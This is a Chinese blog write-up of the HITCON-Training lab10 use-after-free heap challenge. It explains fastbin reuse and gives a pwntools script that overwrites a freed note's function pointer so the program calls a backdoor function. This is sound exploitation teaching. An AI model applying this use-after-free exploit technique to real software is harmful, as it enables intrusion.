HITCON-Training lab10(uaf入门题)

题目下载地址:https://github.com/scwuaptx/HITCON-Training

哈哈哈,纪念一下明白的第一道堆题,虽然它真的很简单。。。

 

32位程序

 

三个功能,增、删、打印

 

程序给我们预留了后门函数

 

add函数,创建note会有两个堆块,分别是存放两个函数指针的8字节堆块和存放内容的堆块

这个示意图很清楚:

 

delete函数

 

print函数

 

因为存在uaf漏洞,又有后门函数,所以考虑,将后门函数地址写入context,让该context覆盖8字节print_note_content的地址

再打印该chunk的时候,函数指针会指向这块区域,从而执行后门函数

 

了解一下fastbin(64位)

fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。当分配一块较小的内存(mem<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。

而当free一块chunk时,也会首先检查其大小是否落在fastbin的范围中。如果是,则将其插入对应的bin中。顾名思义,fastbin为了快速分配回收这些较小size的chunk,并没对之前提到的bk进行操作,即仅仅通过fd组成了单链表而非双向链表,而且其遵循后进先出(LIFO)的原则。

类似于0 day这本书的块表

因为程序是32位的,所以fastbin中块的大小为8Bytes, 12Bytes, 16Bytes, … , 40Bytes

我们的函数指针是8字节的,所以,如果我们先分配两个快,他们的大小不等于8字节,那么,free掉这两个块的时候,fastbin中的情况

8字节的 --> chunk1指针 --> chunk0指针 --> tail

n(<40字节)--> chunk1 --> chunk0 -->tail

 

那么,我们malloc的时候,size选择0x8,add函数中先分配指针的堆块,然后分配content的堆块

1.8字节的 --> chunk0 -->tail

chunk2指针=chunk1指针

chunk2_content=chunk0指针

所以,在打印chunk0的时候,chunk0的函数指针会指向chunk2的content,如果之前传入了后门函数magic,就可以顺利执行了

#coding=utf-8
from pwn import *
p=process('./hacknote')

magic_addr=0x08048986

def add(size,content):
    p.recvuntil("Your choice :")
    p.sendline('1')
    p.recvuntil("Note size :")
    p.sendline(str(size))
    p.recvuntil("Content :")
    p.sendline(content)

def delete(index):
    p.recvuntil("Your choice :")
    p.sendline('2')
    p.recvuntil("Index :")
    p.sendline(str(index))

def print_note(index):
    p.recvuntil("Your choice :")
    p.sendline('3')
    p.recvuntil("Index :")
    p.sendline(str(index))

add(0x32,'aaaa')#0
add(0x32,'aaaa')#1
delete(0)
delete(1)
add(0x8,p32(magic_addr))#2
print_note(0)
p.interactive()

在本地/home/hacknote下创建了flag文件

执行结果:

参考博客:https://www.jianshu.com/p/f894c2961ca6

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章